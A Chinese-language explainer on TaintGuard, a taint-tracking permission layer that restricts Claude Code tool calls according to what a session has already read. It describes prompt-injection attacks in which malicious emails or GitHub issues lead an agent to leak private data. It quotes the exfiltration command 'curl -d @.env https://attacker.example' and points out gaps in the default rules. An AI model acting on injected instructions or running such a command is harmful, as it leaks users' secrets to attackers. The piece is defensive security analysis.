Agent 权限控制为何必须记录会话历史
作者以 Claude Code 同时访问 Gmail 与 Bash 为例,说明不可信邮件可能诱导 Agent 利用其他工具泄露私有数据。其 TaintGuard 修改方案记录进入会话的内容类型,再据此限制后续工具调用。
AI 深度解读
给 Claude Code 接上 Gmail,再允许它用 Bash 跑测试,两项权限单看都很合理。但它读过一封恶意邮件后,同一个 Bash 就可能成为泄露收件箱的出口。风险来自工具在同一会话里的组合,逐项授权很难表达这种关系。
作者为此做了 TaintGuard:记录会话接触过哪些内容,再决定后续工具能否执行。它的价值是让审批带上上下文;局限也很直接:默认规则存在漏口,用户一路点允许,防线仍然会失效。
为什么工具获准,不代表这次调用安全
作者引用的「致命三件套」(lethal trifecta),包括访问私有数据、接触不可信内容,以及向外通信。攻击者只需把指令藏进邮件、网页或 issue,就可能诱导 Agent 把私有数据发出去。
原文举了 Invariant Labs 在 2025 年 5 月披露的案例:攻击者在公开仓库的 issue 中植入指令,诱导 Agent 读取私有仓库,再通过公开 pull request 发布内容。每次调用都符合用户 token 的权限,问题出在调用之间的联系。
Meta 的 Agents Rule of Two 据此提出:一个会话最多同时具备上述三项能力中的两项;确实需要三项,就要增加人工监督。
按工具配置 allow、ask、deny,很难落实这条规则。始终允许 Bash 会放过读邮件后的危险调用,始终禁止又妨碍日常开发;始终询问则产生大量看起来相同的弹窗。MCP 网关还看不到内置工具,curl -d @.env https://attacker.example 可以直接经 Bash 执行。
权限判断需要知道,这个会话此前读过什么。
TaintGuard 如何把历史变成权限条件
TaintGuard 借用了污点追踪(taint tracking)的思路:给外部输入附上风险标签,再限制它流向危险操作。CaMeL 和 Microsoft Fides 会追踪数据流或数据标签,但需要控制 Agent 的规划过程。TaintGuard 只在工具调用边界工作,看不到模型内部如何传递具体内容,因此给整个会话打标签。
默认标签是 private、untrusted、secret。Sources 负责添加标签:读邮件添加前两项,成功执行 WebFetch 添加 untrusted,Read 读取 .env 或 SSH 密钥添加 secret。Sinks 根据已有标签,对工具执行 deny、ask 或 audit。
下面这段代码展示了它如何先检查限制,再执行工具并更新标签:
on('tool.call', async ($, e, next) => {
const held = new Set(heldLabels(await readTaint($))) // earlier calls only
const decision = evaluateSinks(policy, e, held)
if (decision.action === 'deny') return refuse(decision)
if (decision.action === 'ask' && !(await askUser($, e, decision))) {
return refuse(decision)
}
const added = await fireSources($, e, 'attempt') // taints even if the tool fails
const result = await next(e)
if (result.deny === undefined && result.isError !== true) {
added.push(...(await fireSources($, e, 'success')))
}
return added.length > 0 ? withContextLine(result, added) : result
})
重点看 evaluateSinks:它检查的是调用前的标签。邮件读取在 attempt 阶段标记,即使中途失败也保留风险;WebFetch 则在 success 阶段标记。
会话内标签只增不减,重启、压缩上下文也会保留或重建;重建完成前,系统暂按持有全部标签处理。用户可以用 /taintguard clear 移除标签,或用 /clear 重新开始,两者都会留下审计记录。
实现采用 Claude Code mod,要求终端版 Claude Code 2.1.287 或更新版本。它比每次启动进程的 PreToolUse command hook 更方便保存状态,也能在 bypassPermissions 下显示审批。主 Agent 和 subagent 的调用都经过 tool.call,当前还共享同一套标签。
少弹窗有效,但拦截效果取决于谁来回答
默认预设 trifecta 在同时持有 private、untrusted 时,对 Bash、WebFetch 和相关 MCP 外发工具要求审批;出现 secret 后,则直接拒绝这些工具及 WebSearch。
作者用脚本轨迹回放比较策略,包含 609 个注入场景、783 次外泄调用,以及 120 项正常任务,其中 90 项编码、30 项邮件分拣。
静态策略的代价很明显:只覆盖 MCP 的网关策略破坏了 12 项邮件任务,却没拦住经 Bash 或 WebFetch 发起的 298 次调用。禁止全部外发操作能阻止所有攻击,也让 96 项正常任务无法完成,其中 84 项需要 Bash。全部询问不破坏任务,但产生 176 次审批;Bash(npm run test:*) 这样的命令规则可以减少次数,却不会补上风险背景。
trifecta 将审批降到 22 次,涉及 19 项任务,其中 14 项是邮件分拣。另有 3 项任务无法完成:2 项读取 .env 后需要 Bash,符合规则设计;1 项读取公开测试证书 test/fixtures/localhost.pem,被 *.pem 匹配误判为秘密。
但如果用户批准所有请求,783 次外泄调用中仍有 696 次执行,占 88.9%。
22 次有针对性的审批,比 176 次泛化审批更有用,但审批仍是一道需要人判断的防线。
无人值守的 claude -p 无法回答,ask 会变成拒绝,导致 22 项正常任务无法完成。作者建议此时考虑 strict 或 deny sink;strict 的代价是阻断 40% 的正常任务。
这些数字衡量的是策略决策,不是模型面对攻击时的完整表现。真实模型实验只有 6 个案例,使用 Claude Haiku 4.5 和桩 MCP 服务:未启用防护时,2 个案例分别通过 WebFetch、curl 外泄;启用后,前者被拒绝,后者在读取 .env 后改为打印 curl 步骤。作者无法证明后者由提示行导致,而且实验早于最后一轮规则修复。
默认规则漏掉的地方,恰好很关键
TaintGuard 对 Rule of Two 采用较窄解释:数据经带标签的工具进入上下文后,才算接触私有内容。因此只读网页会得到 untrusted,随后执行自带读取与发送动作的 curl -d @.env,默认规则仍会放行。测试集中有 16 个类似场景,全部由 strict 拦住。
默认预设也不识别 GitHub、Jira、Confluence 等来源,所以开头的 GitHub 攻击可以直接穿过默认规则。作者给出的补法是在 ~/.claude/taint-guard.json 添加来源:将 issue_read、list_issues、search_issues、pull_request_read 标为不可信,将 get_file_contents、search_code 标为私有,再补齐写操作限制。
配置依赖实际工具名,原文示例假设服务注册名为 github。作者建议用 /taintguard tools 检查匹配情况。另一处漏口是 Write:把数据写进稍后由 CI 发布的 docs 目录,也能外泄,但 trifecta 没把它视为出口。
自保护也有前提。Bash 检查只读取命令文本,运行时拼接配置路径可能绕过检测。作者建议使用 managed mod,并让策略文件只有管理员可写。Team、Enterprise 或存在 managed settings 的机器尤其需要这样部署,否则用户安装版本无法完整处理 /resume、/branch、/clear 和压缩记录。
我的判断
我认同把调用历史纳入权限判断。相比始终询问,它能解释「为什么此刻需要确认」;相比一刀切禁用,更容易保留编码工具的可用性。
但这仍是粗粒度方案。读过一封邮件,后续无关操作也可能被限制;没被来源规则识别的输入,又可能完全不触发防护。原文的回放数据支持「在这套语料上减少审批」,不足以证明对一般团队同样有效,因为语料与工具同步编写,实测也只有 6 例。
常见替代做法是拆开工作流,让读邮件的会话只产出待办,再由权限受限的编码会话处理。这样会增加交接成本,但边界更容易检查。若业务必须在一个会话里完成,TaintGuard 提供了有价值的中间层;它不能替代凭证隔离、出口限制和对真实目的地的检查。
能拿来做什么
- 先检查日常 AI 编程会话是否同时连接邮箱、私有资料和 Bash。能拆开的任务先拆开,需要合并的任务再配置历史条件。
- 接入 issue 或文档 MCP 时,用
/taintguard tools核对真实工具名,为读取第三方文本、读取私有文件和写入操作补齐规则。 - 在无人值守任务中单独评估
strict或 deny sink,重点验证.env读取、测试命令和构建流程会被怎样阻断。 - 试用作者发布的 TaintGuard 0.1.0 时,可以使用下面两条命令安装,再用自己的任务验证策略:
claude plugin marketplace add dortort/claude-plugins
claude plugin install taint-guard@dortort